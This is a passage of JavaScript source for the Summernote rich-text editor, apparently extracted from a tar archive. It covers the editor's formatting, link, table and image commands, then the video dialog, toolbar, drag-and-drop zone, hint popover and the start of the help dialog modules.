this.fontStyling('font-size', value + 'px'); }); for (let idx = 1; idx <= 6; idx++) { this['formatH' + idx] = ((idx) => { return () => { this.formatBlock('H' + idx); }; })(idx); this.context.memo('help.formatH' + idx, this.lang.help['formatH' + idx]); }; this.insertParagraph = this.wrapCommand(() => { this.typing.insertParagraph(this.editable); }); this.insertOrderedList = this.wrapCommand(() => { this.bullet.insertOrderedList(this.editable); }); this.insertUnorderedList = this.wrapCommand(() => { this.bullet.insertUnorderedList(this.editable); }); this.indent = this.wrapCommand(() => { this.bullet.indent(this.editable); }); this.outdent = this.wrapCommand(() => { this.bullet.outdent(this.editable); }); /** * insertNode * insert node * @param {Node} node */ this.insertNode = this.wrapCommand((node) => { if (this.isLimited($(node).text().length)) { return; } const rng = this.createRange(); rng.insertNode(node); range.createFromNodeAfter(node).select(); }); /** * insert text * @param {String} text */ this.insertText = this.wrapCommand((text) => { if (this.isLimited(text.length)) { return; } const rng = this.createRange(); const textNode = rng.insertNode(dom.createText(text)); range.create(textNode, dom.nodeLength(textNode)).select(); }); /** * paste HTML * @param {String} markup */ this.pasteHTML = this.wrapCommand((markup) => { if (this.isLimited(markup.length)) { return; } const contents = this.createRange().pasteHTML(markup); range.createFromNodeAfter(lists.last(contents)).select(); }); /** * formatBlock * * @param {String} tagName */ this.formatBlock = this.wrapCommand((tagName, $target) => { const onApplyCustomStyle = this.options.callbacks.onApplyCustomStyle; if (onApplyCustomStyle) { onApplyCustomStyle.call(this, $target, this.context, this.onFormatBlock); } else { this.onFormatBlock(tagName, $target); } }); /** * insert horizontal rule */ this.insertHorizontalRule = this.wrapCommand(() => { const hrNode = this.createRange().insertNode(dom.create('HR')); if (hrNode.nextSibling) { range.create(hrNode.nextSibling, 0).normalize().select(); } }); /** * lineHeight * @param {String} value */ this.lineHeight = this.wrapCommand((value) => { this.style.stylePara(this.createRange(), { lineHeight: value }); }); /** * create link (command) * * @param {Object} linkInfo */ this.createLink = this.wrapCommand((linkInfo) => { let linkUrl = linkInfo.url; const linkText = linkInfo.text; const isNewWindow = linkInfo.isNewWindow; let rng = linkInfo.range || this.createRange(); const isTextChanged = rng.toString() !== linkText; // handle spaced urls from input if (typeof linkUrl === 'string') { linkUrl = linkUrl.trim(); } if (this.options.onCreateLink) { linkUrl = this.options.onCreateLink(linkUrl); } else { // if url doesn't match an URL schema, set http:// as default linkUrl = /^[A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?/.test(linkUrl) ? linkUrl : 'http://' + linkUrl; } let anchors = []; if (isTextChanged) { rng = rng.deleteContents(); const anchor = rng.insertNode($('<A>' + linkText + '</A>')[0]); anchors.push(anchor); } else { anchors = this.style.styleNodes(rng, { nodeName: 'A', expandClosestSibling: true, onlyPartialContains: true }); } $.each(anchors, (idx, anchor) => { $(anchor).attr('href', linkUrl); if (isNewWindow) { $(anchor).attr('target', '_blank'); } else { $(anchor).removeAttr('target'); } }); const startRange = range.createFromNodeBefore(lists.head(anchors)); const startPoint = startRange.getStartPoint(); const endRange = range.createFromNodeAfter(lists.last(anchors)); const endPoint = endRange.getEndPoint(); range.create( startPoint.node, startPoint.offset, endPoint.node, endPoint.offset ).select(); }); /** * setting color * * @param {Object} sObjColor color code * @param {String} sObjColor.foreColor foreground color * @param {String} sObjColor.backColor background color */ this.color = this.wrapCommand((colorInfo) => { const foreColor = colorInfo.foreColor; const backColor = colorInfo.backColor; if (foreColor) { document.execCommand('foreColor', false, foreColor); } if (backColor) { document.execCommand('backColor', false, backColor); } }); /** * Set foreground color * * @param {String} colorCode foreground color code */ this.foreColor = this.wrapCommand((colorInfo) => { document.execCommand('styleWithCSS', false, true); document.execCommand('foreColor', false, colorInfo); }); /** * insert Table * * @param {String} dimension of table (ex : "5x5") */ this.insertTable = this.wrapCommand((dim) => { const dimension = dim.split('x'); const rng = this.createRange().deleteContents(); rng.insertNode(this.table.createTable(dimension[0], dimension[1], this.options)); }); /** * remove media object and Figure Elements if media object is img with Figure. */ this.removeMedia = this.wrapCommand(() => { let $target = $(this.restoreTarget()).parent(); if ($target.parent('figure').length) { $target.parent('figure').remove(); } else { $target = $(this.restoreTarget()).detach(); } this.context.triggerEvent('media.delete', $target, this.$editable); }); /** * float me * * @param {String} value */ this.floatMe = this.wrapCommand((value) => { const $target = $(this.restoreTarget()); $target.toggleClass('note-float-left', value === 'left'); $target.toggleClass('note-float-right', value === 'right'); $target.css('float', value); }); /** * resize overlay element * @param {String} value */ this.resize = this.wrapCommand((value) => { const $target = $(this.restoreTarget()); $target.css({ width: value * 100 + '%', height: '' }); }); } initialize() { // bind custom events this.$editable.on('keydown', (event) => { if (event.keyCode === key.code.ENTER) { this.context.triggerEvent('enter', event); } this.context.triggerEvent('keydown', event); if (!event.isDefaultPrevented()) { if (this.options.shortcuts) { this.handleKeyMap(event); } else { this.preventDefaultEditableShortCuts(event); } } if (this.isLimited(1, event)) { return false; } }).on('keyup', (event) => { this.context.triggerEvent('keyup', event); }).on('focus', (event) => { this.context.triggerEvent('focus', event); }).on('blur', (event) => { this.context.triggerEvent('blur', event); }).on('mousedown', (event) => { this.context.triggerEvent('mousedown', event); }).on('mouseup', (event) => { this.context.triggerEvent('mouseup', event); }).on('scroll', (event) => { this.context.triggerEvent('scroll', event); }).on('paste', (event) => { this.context.triggerEvent('paste', event); }); // init content before set event this.$editable.html(dom.html(this.$note) || dom.emptyPara); this.$editable.on(env.inputEventName, func.debounce(() => { this.context.triggerEvent('change', this.$editable.html()); }, 100)); this.$editor.on('focusin', (event) => { this.context.triggerEvent('focusin', event); }).on('focusout', (event) => { this.context.triggerEvent('focusout', event); }); if (!this.options.airMode) { if (this.options.width) { this.$editor.outerWidth(this.options.width); } if (this.options.height) { this.$editable.outerHeight(this.options.height); } if (this.options.maxHeight) { this.$editable.css('max-height', this.options.maxHeight); } if (this.options.minHeight) { this.$editable.css('min-height', this.options.minHeight); } } this.history.recordUndo(); } destroy() { this.$editable.off(); } handleKeyMap(event) { const keyMap = this.options.keyMap[env.isMac ? 'mac' : 'pc']; const keys = []; if (event.metaKey) { keys.push('CMD'); } if (event.ctrlKey && !event.altKey) { keys.push('CTRL'); } if (event.shiftKey) { keys.push('SHIFT'); } const keyName = key.nameFromCode[event.keyCode]; if (keyName) { keys.push(keyName); } const eventName = keyMap[keys.join('+')]; if (eventName) { if (this.context.invoke(eventName) !== false) { event.preventDefault(); } } else if (key.isEdit(event.keyCode)) { this.afterCommand(); } } preventDefaultEditableShortCuts(event) { // B(Bold, 66) / I(Italic, 73) / U(Underline, 85) if ((event.ctrlKey || event.metaKey) && lists.contains([66, 73, 85], event.keyCode)) { event.preventDefault(); } } isLimited(pad, event) { pad = pad || 0; if (typeof event !== 'undefined') { if (key.isMove(event.keyCode) || (event.ctrlKey || event.metaKey) || lists.contains([key.code.BACKSPACE, key.code.DELETE], event.keyCode)) { return false; } } if (this.options.maxTextLength > 0) { if ((this.$editable.text().length + pad) >= this.options.maxTextLength) { return true; } } return false; } /** * create range * @return {WrappedRange} */ createRange() { this.focus(); return range.create(this.editable); } /** * saveRange * * save current range * * @param {Boolean} [thenCollapse=false] */ saveRange(thenCollapse) { this.lastRange = this.createRange(); if (thenCollapse) { this.lastRange.collapse().select(); } } /** * restoreRange * * restore lately range */ restoreRange() { if (this.lastRange) { this.lastRange.select(); this.focus(); } } saveTarget(node) { this.$editable.data('target', node); } clearTarget() { this.$editable.removeData('target'); } restoreTarget() { return this.$editable.data('target'); } /** * currentStyle * * current style * @return {Object|Boolean} unfocus */ currentStyle() { let rng = range.create(); if (rng) { rng = rng.normalize(); } return rng ? this.style.current(rng) : this.style.fromNode(this.$editable); } /** * style from node * * @param {jQuery} $node * @return {Object} */ styleFromNode($node) { return this.style.fromNode($node); } /** * undo */ undo() { this.context.triggerEvent('before.command', this.$editable.html()); this.history.undo(); this.context.triggerEvent('change', this.$editable.html()); } /** * redo */ redo() { this.context.triggerEvent('before.command', this.$editable.html()); this.history.redo(); this.context.triggerEvent('change', this.$editable.html()); } /** * before command */ beforeCommand() { this.context.triggerEvent('before.command', this.$editable.html()); // keep focus on editable before command execution this.focus(); } /** * after command * @param {Boolean} isPreventTrigger */ afterCommand(isPreventTrigger) { this.normalizeContent(); this.history.recordUndo(); if (!isPreventTrigger) { this.context.triggerEvent('change', this.$editable.html()); } } /** * handle tab key */ tab() { const rng = this.createRange(); if (rng.isCollapsed() && rng.isOnCell()) { this.table.tab(rng); } else { if (this.options.tabSize === 0) { return false; } if (!this.isLimited(this.options.tabSize)) { this.beforeCommand(); this.typing.insertTab(rng, this.options.tabSize); this.afterCommand(); } } } /** * handle shift+tab key */ untab() { const rng = this.createRange(); if (rng.isCollapsed() && rng.isOnCell()) { this.table.tab(rng, true); } else { if (this.options.tabSize === 0) { return false; } } } /** * run given function between beforeCommand and afterCommand */ wrapCommand(fn) { return () => { this.beforeCommand(); fn.apply(this, arguments); this.afterCommand(); }; } /** * insert image * * @param {String} src * @param {String|Function} param * @return {Promise} */ insertImage(src, param) { return createImage(src, param).then(($image) => { this.beforeCommand(); if (typeof param === 'function') { param($image); } else { if (typeof param === 'string') { $image.attr('data-filename', param); } $image.css('width', Math.min(this.$editable.width(), $image.width())); } $image.show(); range.create(this.editable).insertNode($image[0]); range.createFromNodeAfter($image[0]).select(); this.afterCommand(); }).fail((e) => { this.context.triggerEvent('image.upload.error', e); }); } /** * insertImages * @param {File[]} files */ insertImages(files) { $.each(files, (idx, file) => { const filename = file.name; if (this.options.maximumImageFileSize && this.options.maximumImageFileSize < file.size) { this.context.triggerEvent('image.upload.error', this.lang.image.maximumFileSizeError); } else { readFileAsDataURL(file).then((dataURL) => { return this.insertImage(dataURL, filename); }).fail(() => { this.context.triggerEvent('image.upload.error'); }); } }); } /** * insertImagesOrCallback * @param {File[]} files */ insertImagesOrCallback(files) { const callbacks = this.options.callbacks; // If onImageUpload this.options setted if (callbacks.onImageUpload) { this.context.triggerEvent('image.upload', files); // else insert Image as dataURL } else { this.insertImages(files); } } /** * return selected plain text * @return {String} text */ getSelectedText() { let rng = this.createRange(); // if range on anchor, expand range with anchor if (rng.isOnAnchor()) { rng = range.createFromNode(dom.ancestor(rng.sc, dom.isAnchor)); } return rng.toString(); } onFormatBlock(tagName, $target) { // [workaround] for MSIE, IE need `<` tagName = env.isMSIE ? '<' + tagName + '>' : tagName; document.execCommand('FormatBlock', false, tagName); // support custom class if ($target && $target.length) { const className = $target[0].className || ''; if (className) { const currentRange = this.createRange(); const $parent = $([currentRange.sc, currentRange.ec]).closest(tagName); $parent.addClass(className); } } } formatPara() { this.formatBlock('P'); } fontStyling(target, value) { const rng = this.createRange(); if (rng) { const spans = this.style.styleNodes(rng); $(spans).css(target, value); // [workaround] added styled bogus span for style // - also bogus character needed for cursor position if (rng.isCollapsed()) { const firstSpan = lists.head(spans); if (firstSpan && !dom.nodeLength(firstSpan)) { firstSpan.innerHTML = dom.ZERO_WIDTH_NBSP_CHAR; range.createFromNodeAfter(firstSpan.firstChild).select(); this.$editable.data(KEY_BOGUS, firstSpan); } } } } /** * unlink * * @type command */ unlink() { let rng = this.createRange(); if (rng.isOnAnchor()) { const anchor = dom.ancestor(rng.sc, dom.isAnchor); rng = range.createFromNode(anchor); rng.select(); this.beforeCommand(); document.execCommand('unlink'); this.afterCommand(); } } /** * returns link info * * @return {Object} * @return {WrappedRange} return.range * @return {String} return.text * @return {Boolean} [return.isNewWindow=true] * @return {String} [return.url=""] */ getLinkInfo() { const rng = this.createRange().expand(dom.isAnchor); // Get the first anchor on range(for edit). const $anchor = $(lists.head(rng.nodes(dom.isAnchor))); const linkInfo = { range: rng, text: rng.toString(), url: $anchor.length ? $anchor.attr('href') : '' }; // Define isNewWindow when anchor exists. if ($anchor.length) { linkInfo.isNewWindow = $anchor.attr('target') === '_blank'; } return linkInfo; } addRow(position) { const rng = this.createRange(this.$editable); if (rng.isCollapsed() && rng.isOnCell()) { this.beforeCommand(); this.table.addRow(rng, position); this.afterCommand(); } } addCol(position) { const rng = this.createRange(this.$editable); if (rng.isCollapsed() && rng.isOnCell()) { this.beforeCommand(); this.table.addCol(rng, position); this.afterCommand(); } } deleteRow() { const rng = this.createRange(this.$editable); if (rng.isCollapsed() && rng.isOnCell()) { this.beforeCommand(); this.table.deleteRow(rng); this.afterCommand(); } } deleteCol() { const rng = this.createRange(this.$editable); if (rng.isCollapsed() && rng.isOnCell()) { this.beforeCommand(); this.table.deleteCol(rng); this.afterCommand(); } } deleteTable() { const rng = this.createRange(this.$editable); if (rng.isCollapsed() && rng.isOnCell()) { this.beforeCommand(); this.table.deleteTable(rng); this.afterCommand(); } } /** * @param {Position} pos * @param {jQuery} $target - target element * @param {Boolean} [bKeepRatio] - keep ratio */ resizeTo(pos, $target, bKeepRatio) { let imageSize; if (bKeepRatio) { const newRatio = pos.y / pos.x; const ratio = $target.data('ratio'); imageSize = { width: ratio > newRatio ? pos.x : pos.y / ratio, height: ratio > newRatio ? pos.x * ratio : pos.y }; } else { imageSize = { width: pos.x, height: pos.y }; } $target.css(imageSize); } /** * returns whether editable area has focus or not. */ hasFocus() { return this.$editable.is(':focus'); } /** * set focus */ focus() { // [workaround] Screen will move when page is scolled in IE. // - do focus when not focused if (!this.hasFocus()) { this.$editable.focus(); } } /** * returns whether contents is empty or not. * @return {Boolean} */ isEmpty() { return dom.isEmpty(this.$editable[0]) || dom.emptyPara === this.$editable.html(); } /** * Removes all contents and restores the editable instance to an _emptyPara_. */ empty() { this.context.invoke('code', dom.emptyPara); } /** * normalize content */ normalizeContent() { this.$editable[0].normalize(); } } js/base/module/VideoDialog.js000064400000015667151677272030012134 0ustar00import $ from 'jquery'; import env from '../core/env'; import key from '../core/key'; export default class VideoDialog { constructor(context) { this.context = context; this.ui = $.summernote.ui; this.$body = $(document.body); this.$editor = context.layoutInfo.editor; this.options = context.options; this.lang = this.options.langInfo; } initialize() { const $container = this.options.dialogsInBody ? this.$body : this.$editor; const body = [ '<div class="form-group note-form-group row-fluid">', `<label class="note-form-label">${this.lang.video.url} <small class="text-muted">${this.lang.video.providers}</small></label>`, '<input class="note-video-url form-control note-form-control note-input" type="text" />', '</div>' ].join(''); const buttonClass = 'btn btn-primary note-btn note-btn-primary note-video-btn'; const footer = `<button type="submit" href="#" class="${buttonClass}" disabled>${this.lang.video.insert}</button>`; this.$dialog = this.ui.dialog({ title: this.lang.video.insert, fade: this.options.dialogsFade, body: body, footer: footer }).render().appendTo($container); } destroy() { this.ui.hideDialog(this.$dialog); this.$dialog.remove(); } bindEnterKey($input, $btn) { $input.on('keypress', (event) => { if (event.keyCode === key.code.ENTER) { event.preventDefault(); $btn.trigger('click'); } }); } createVideoNode(url) { // video url patterns(youtube, instagram, vimeo, dailymotion, youku, mp4, ogg, webm) const ytRegExp = /^(?:https?:\/\/)?(?:www\.)?(?:youtu\.be\/|youtube\.com\/(?:embed\/|v\/|watch\?v=|watch\?.+&v=))((\w|-){11})(?:\S+)?$/; const ytMatch = url.match(ytRegExp); const igRegExp = /(?:www\.|\/\/)instagram\.com\/p\/(.[a-zA-Z0-9_-]*)/; const igMatch = url.match(igRegExp); const vRegExp = /\/\/vine\.co\/v\/([a-zA-Z0-9]+)/; const vMatch = url.match(vRegExp); const vimRegExp = /\/\/(player\.)?vimeo\.com\/([a-z]*\/)*(\d+)[?]?.*/; const vimMatch = url.match(vimRegExp); const dmRegExp = /.+dailymotion.com\/(video|hub)\/([^_]+)[^#]*(#video=([^_&]+))?/; const dmMatch = url.match(dmRegExp); const youkuRegExp = /\/\/v\.youku\.com\/v_show\/id_(\w+)=*\.html/; const youkuMatch = url.match(youkuRegExp); const qqRegExp = /\/\/v\.qq\.com.*?vid=(.+)/; const qqMatch = url.match(qqRegExp); const qqRegExp2 = /\/\/v\.qq\.com\/x?\/?(page|cover).*?\/([^\/]+)\.html\??.*/; const qqMatch2 = url.match(qqRegExp2); const mp4RegExp = /^.+.(mp4|m4v)$/; const mp4Match = url.match(mp4RegExp); const oggRegExp = /^.+.(ogg|ogv)$/; const oggMatch = url.match(oggRegExp); const webmRegExp = /^.+.(webm)$/; const webmMatch = url.match(webmRegExp); let $video; if (ytMatch && ytMatch[1].length === 11) { const youtubeId = ytMatch[1]; $video = $('<iframe>') .attr('frameborder', 0) .attr('src', '//www.youtube.com/embed/' + youtubeId) .attr('width', '640').attr('height', '360'); } else if (igMatch && igMatch[0].length) { $video = $('<iframe>') .attr('frameborder', 0) .attr('src', 'https://instagram.com/p/' + igMatch[1] + '/embed/') .attr('width', '612').attr('height', '710') .attr('scrolling', 'no') .attr('allowtransparency', 'true'); } else if (vMatch && vMatch[0].length) { $video = $('<iframe>') .attr('frameborder', 0) .attr('src', vMatch[0] + '/embed/simple') .attr('width', '600').attr('height', '600') .attr('class', 'vine-embed'); } else if (vimMatch && vimMatch[3].length) { $video = $('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>') .attr('frameborder', 0) .attr('src', '//player.vimeo.com/video/' + vimMatch[3]) .attr('width', '640').attr('height', '360'); } else if (dmMatch && dmMatch[2].length) { $video = $('<iframe>') .attr('frameborder', 0) .attr('src', '//www.dailymotion.com/embed/video/' + dmMatch[2]) .attr('width', '640').attr('height', '360'); } else if (youkuMatch && youkuMatch[1].length) { $video = $('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>') .attr('frameborder', 0) .attr('height', '498') .attr('width', '510') .attr('src', '//player.youku.com/embed/' + youkuMatch[1]); } else if ((qqMatch && qqMatch[1].length) || (qqMatch2 && qqMatch2[2].length)) { const vid = ((qqMatch && qqMatch[1].length) ? qqMatch[1] : qqMatch2[2]); $video = $('<iframe webkitallowfullscreen mozallowfullscreen allowfullscreen>') .attr('frameborder', 0) .attr('height', '310') .attr('width', '500') .attr('src', 'http://v.qq.com/iframe/player.html?vid=' + vid + '&auto=0'); } else if (mp4Match || oggMatch || webmMatch) { $video = $('<video controls>') .attr('src', url) .attr('width', '640').attr('height', '360'); } else { // this is not a known video link. Now what, Cat? Now what? return false; } $video.addClass('note-video-clip'); return $video[0]; } show() { const text = this.context.invoke('editor.getSelectedText'); this.context.invoke('editor.saveRange'); this.showVideoDialog(text).then((url) => { // [workaround] hide dialog before restore range for IE range focus this.ui.hideDialog(this.$dialog); this.context.invoke('editor.restoreRange'); // build node const $node = this.createVideoNode(url); if ($node) { // insert video node this.context.invoke('editor.insertNode', $node); } }).fail(() => { this.context.invoke('editor.restoreRange'); }); } /** * show image dialog * * @param {jQuery} $dialog * @return {Promise} */ showVideoDialog(text) { return $.Deferred((deferred) => { const $videoUrl = this.$dialog.find('.note-video-url'); const $videoBtn = this.$dialog.find('.note-video-btn'); this.ui.onDialogShown(this.$dialog, () => { this.context.triggerEvent('dialog.shown'); $videoUrl.val(text).on('input', () => { this.ui.toggleBtn($videoBtn, $videoUrl.val()); }); if (!env.isSupportTouch) { $videoUrl.trigger('focus'); } $videoBtn.click((event) => { event.preventDefault(); deferred.resolve($videoUrl.val()); }); this.bindEnterKey($videoUrl, $videoBtn); }); this.ui.onDialogHidden(this.$dialog, () => { $videoUrl.off('input'); $videoBtn.off('click'); if (deferred.state() === 'pending') { deferred.reject(); } }); this.ui.showDialog(this.$dialog); }); } } js/base/module/Toolbar.js000064400000007241151677272030011335 0ustar00import $ from 'jquery'; export default class Toolbar { constructor(context) { this.context = context; this.$window = $(window); this.$document = $(document); this.ui = $.summernote.ui; this.$note = context.layoutInfo.note; this.$editor = context.layoutInfo.editor; this.$toolbar = context.layoutInfo.toolbar; this.options = context.options; this.followScroll = this.followScroll.bind(this); } shouldInitialize() { return !this.options.airMode; } initialize() { this.options.toolbar = this.options.toolbar || []; if (!this.options.toolbar.length) { this.$toolbar.hide(); } else { this.context.invoke('buttons.build', this.$toolbar, this.options.toolbar); } if (this.options.toolbarContainer) { this.$toolbar.appendTo(this.options.toolbarContainer); } this.changeContainer(false); this.$note.on('summernote.keyup summernote.mouseup summernote.change', () => { this.context.invoke('buttons.updateCurrentStyle'); }); this.context.invoke('buttons.updateCurrentStyle'); if (this.options.followingToolbar) { this.$window.on('scroll resize', this.followScroll); } } destroy() { this.$toolbar.children().remove(); if (this.options.followingToolbar) { this.$window.off('scroll resize', this.followScroll); } } followScroll() { if (this.$editor.hasClass('fullscreen')) { return false; } const $toolbarWrapper = this.$toolbar.parent('.note-toolbar-wrapper'); const editorHeight = this.$editor.outerHeight(); const editorWidth = this.$editor.width(); const toolbarHeight = this.$toolbar.height(); $toolbarWrapper.css({ height: toolbarHeight }); // check if the web app is currently using another static bar let otherBarHeight = 0; if (this.options.otherStaticBar) { otherBarHeight = $(this.options.otherStaticBar).outerHeight(); } const currentOffset = this.$document.scrollTop(); const editorOffsetTop = this.$editor.offset().top; const editorOffsetBottom = editorOffsetTop + editorHeight; const activateOffset = editorOffsetTop - otherBarHeight; const deactivateOffsetBottom = editorOffsetBottom - otherBarHeight - toolbarHeight; if ((currentOffset > activateOffset) && (currentOffset < deactivateOffsetBottom)) { this.$toolbar.css({ position: 'fixed', top: otherBarHeight, width: editorWidth }); } else { this.$toolbar.css({ position: 'relative', top: 0, width: '100%' }); } } changeContainer(isFullscreen) { if (isFullscreen) { this.$toolbar.prependTo(this.$editor); } else { if (this.options.toolbarContainer) { this.$toolbar.appendTo(this.options.toolbarContainer); } } } updateFullscreen(isFullscreen) { this.ui.toggleBtnActive(this.$toolbar.find('.btn-fullscreen'), isFullscreen); this.changeContainer(isFullscreen); } updateCodeview(isCodeview) { this.ui.toggleBtnActive(this.$toolbar.find('.btn-codeview'), isCodeview); if (isCodeview) { this.deactivate(); } else { this.activate(); } } activate(isIncludeCodeview) { let $btn = this.$toolbar.find('button'); if (!isIncludeCodeview) { $btn = $btn.not('.btn-codeview'); } this.ui.toggleBtn($btn, true); } deactivate(isIncludeCodeview) { let $btn = this.$toolbar.find('button'); if (!isIncludeCodeview) { $btn = $btn.not('.btn-codeview'); } this.ui.toggleBtn($btn, false); } } js/base/module/Dropzone.js000064400000007520151677272030011533 0ustar00import $ from 'jquery'; export default class Dropzone { constructor(context) { this.context = context; this.$eventListener = $(document); this.$editor = context.layoutInfo.editor; this.$editable = context.layoutInfo.editable; this.options = context.options; this.lang = this.options.langInfo; this.documentEventHandlers = {}; this.$dropzone = $([ '<div class="note-dropzone">', ' <div class="note-dropzone-message"/>', '</div>' ].join('')).prependTo(this.$editor); } /** * attach Drag and Drop Events */ initialize() { if (this.options.disableDragAndDrop) { // prevent default drop event this.documentEventHandlers.onDrop = (e) => { e.preventDefault(); }; // do not consider outside of dropzone this.$eventListener = this.$dropzone; this.$eventListener.on('drop', this.documentEventHandlers.onDrop); } else { this.attachDragAndDropEvent(); } } /** * attach Drag and Drop Events */ attachDragAndDropEvent() { let collection = $(); const $dropzoneMessage = this.$dropzone.find('.note-dropzone-message'); this.documentEventHandlers.onDragenter = (e) => { const isCodeview = this.context.invoke('codeview.isActivated'); const hasEditorSize = this.$editor.width() > 0 && this.$editor.height() > 0; if (!isCodeview && !collection.length && hasEditorSize) { this.$editor.addClass('dragover'); this.$dropzone.width(this.$editor.width()); this.$dropzone.height(this.$editor.height()); $dropzoneMessage.text(this.lang.image.dragImageHere); } collection = collection.add(e.target); }; this.documentEventHandlers.onDragleave = (e) => { collection = collection.not(e.target); if (!collection.length) { this.$editor.removeClass('dragover'); } }; this.documentEventHandlers.onDrop = () => { collection = $(); this.$editor.removeClass('dragover'); }; // show dropzone on dragenter when dragging a object to document // -but only if the editor is visible, i.e. has a positive width and height this.$eventListener.on('dragenter', this.documentEventHandlers.onDragenter) .on('dragleave', this.documentEventHandlers.onDragleave) .on('drop', this.documentEventHandlers.onDrop); // change dropzone's message on hover. this.$dropzone.on('dragenter', () => { this.$dropzone.addClass('hover'); $dropzoneMessage.text(this.lang.image.dropImage); }).on('dragleave', () => { this.$dropzone.removeClass('hover'); $dropzoneMessage.text(this.lang.image.dragImageHere); }); // attach dropImage this.$dropzone.on('drop', (event) => { const dataTransfer = event.originalEvent.dataTransfer; // stop the browser from opening the dropped content event.preventDefault(); if (dataTransfer && dataTransfer.files && dataTransfer.files.length) { this.$editable.focus(); this.context.invoke('editor.insertImagesOrCallback', dataTransfer.files); } else { $.each(dataTransfer.types, (idx, type) => { const content = dataTransfer.getData(type); if (type.toLowerCase().indexOf('text') > -1) { this.context.invoke('editor.pasteHTML', content); } else { $(content).each((idx, item) => { this.context.invoke('editor.insertNode', item); }); } }); } }).on('dragover', false); // prevent default dragover event } destroy() { Object.keys(this.documentEventHandlers).forEach((key) => { this.$eventListener.off(key.substr(2).toLowerCase(), this.documentEventHandlers[key]); }); this.documentEventHandlers = {}; } } js/base/module/HintPopover.js000064400000014160151677272030012206 0ustar00import $ from 'jquery'; import func from '../core/func'; import lists from '../core/lists'; import dom from '../core/dom'; import range from '../core/range'; import key from '../core/key'; const POPOVER_DIST = 5; export default class HintPopover { constructor(context) { this.context = context; this.ui = $.summernote.ui; this.$editable = context.layoutInfo.editable; this.options = context.options; this.hint = this.options.hint || []; this.direction = this.options.hintDirection || 'bottom'; this.hints = $.isArray(this.hint) ? this.hint : [this.hint]; this.events = { 'summernote.keyup': (we, e) => { if (!e.isDefaultPrevented()) { this.handleKeyup(e); } }, 'summernote.keydown': (we, e) => { this.handleKeydown(e); }, 'summernote.disable summernote.dialog.shown': () => { this.hide(); } }; } shouldInitialize() { return this.hints.length > 0; } initialize() { this.lastWordRange = null; this.$popover = this.ui.popover({ className: 'note-hint-popover', hideArrow: true, direction: '' }).render().appendTo(this.options.container); this.$popover.hide(); this.$content = this.$popover.find('.popover-content,.note-popover-content'); this.$content.on('click', '.note-hint-item', () => { this.$content.find('.active').removeClass('active'); $(this).addClass('active'); this.replace(); }); } destroy() { this.$popover.remove(); } selectItem($item) { this.$content.find('.active').removeClass('active'); $item.addClass('active'); this.$content[0].scrollTop = $item[0].offsetTop - (this.$content.innerHeight() / 2); } moveDown() { const $current = this.$content.find('.note-hint-item.active'); const $next = $current.next(); if ($next.length) { this.selectItem($next); } else { let $nextGroup = $current.parent().next(); if (!$nextGroup.length) { $nextGroup = this.$content.find('.note-hint-group').first(); } this.selectItem($nextGroup.find('.note-hint-item').first()); } } moveUp() { const $current = this.$content.find('.note-hint-item.active'); const $prev = $current.prev(); if ($prev.length) { this.selectItem($prev); } else { let $prevGroup = $current.parent().prev(); if (!$prevGroup.length) { $prevGroup = this.$content.find('.note-hint-group').last(); } this.selectItem($prevGroup.find('.note-hint-item').last()); } } replace() { const $item = this.$content.find('.note-hint-item.active'); if ($item.length) { const node = this.nodeFromItem($item); // XXX: consider to move codes to editor for recording redo/undo. this.lastWordRange.insertNode(node); range.createFromNode(node).collapse().select(); this.lastWordRange = null; this.hide(); this.context.triggerEvent('change', this.$editable.html(), this.$editable[0]); this.context.invoke('editor.focus'); } } nodeFromItem($item) { const hint = this.hints[$item.data('index')]; const item = $item.data('item'); let node = hint.content ? hint.content(item) : item; if (typeof node === 'string') { node = dom.createText(node); } return node; } createItemTemplates(hintIdx, items) { const hint = this.hints[hintIdx]; return items.map((item, idx) => { const $item = $('<div class="note-hint-item"/>'); $item.append(hint.template ? hint.template(item) : item + ''); $item.data({ 'index': hintIdx, 'item': item }); return $item; }); } handleKeydown(e) { if (!this.$popover.is(':visible')) { return; } if (e.keyCode === key.code.ENTER) { e.preventDefault(); this.replace(); } else if (e.keyCode === key.code.UP) { e.preventDefault(); this.moveUp(); } else if (e.keyCode === key.code.DOWN) { e.preventDefault(); this.moveDown(); } } searchKeyword(index, keyword, callback) { const hint = this.hints[index]; if (hint && hint.match.test(keyword) && hint.search) { const matches = hint.match.exec(keyword); hint.search(matches[1], callback); } else { callback(); } } createGroup(idx, keyword) { const $group = $('<div class="note-hint-group note-hint-group-' + idx + '"/>'); this.searchKeyword(idx, keyword, (items) => { items = items || []; if (items.length) { $group.html(this.createItemTemplates(idx, items)); this.show(); } }); return $group; } handleKeyup(e) { if (!lists.contains([key.code.ENTER, key.code.UP, key.code.DOWN], e.keyCode)) { const wordRange = this.context.invoke('editor.createRange').getWordRange(); const keyword = wordRange.toString(); if (this.hints.length && keyword) { this.$content.empty(); const bnd = func.rect2bnd(lists.last(wordRange.getClientRects())); if (bnd) { this.$popover.hide(); this.lastWordRange = wordRange; this.hints.forEach((hint, idx) => { if (hint.match.test(keyword)) { this.createGroup(idx, keyword).appendTo(this.$content); } }); // select first .note-hint-item this.$content.find('.note-hint-item:first').addClass('active'); // set position for popover after group is created if (this.direction === 'top') { this.$popover.css({ left: bnd.left, top: bnd.top - this.$popover.outerHeight() - POPOVER_DIST }); } else { this.$popover.css({ left: bnd.left, top: bnd.top + bnd.height + POPOVER_DIST }); } } } else { this.hide(); } } } show() { this.$popover.show(); } hide() { this.$popover.hide(); } } js/base/module/HelpDialog.js000064400000004376151677272030011751 0ustar00import $ from 'jquery'; import env from '../core/env'; export default class HelpDialog { constructor(context) { this.context = context; this.ui = $.summernote.ui; this.$body = $(document.body); this.$editor = context.layoutInfo.editor; this.options = context.options; this.lang = this.options.langInfo; } initialize() { const $container = this.options.dialogsInBody ? this.$body : this.$editor; const body = [ '<p class="text-center">', '<a href="http://summernote.org/" target="_blank">Summernote @@VERSION@@</a> · ', '<a href="https://github.com/summernote/summernote" target="_blank">Project</a> · ', '<a href="https://github.com/summernote/summernote/issues" target="_blank">Issues</a>', '</p>' ].join(''); this.$dialog = this.ui.dialog({ title: this.lang.options.help, fade: this.options.dialogsFade, body: this.createShortcutList(), footer: body, callback: ($node) => { $node.find('.modal-body,.note-modal-body').css({ 'max-height': 300, 'overflow': 'scroll' }); } }).render().appendTo($container); } destroy() { this.ui.hideDialog(this.$dialog); this.$dialog.remove(); } createShortcutList() { const keyMap = 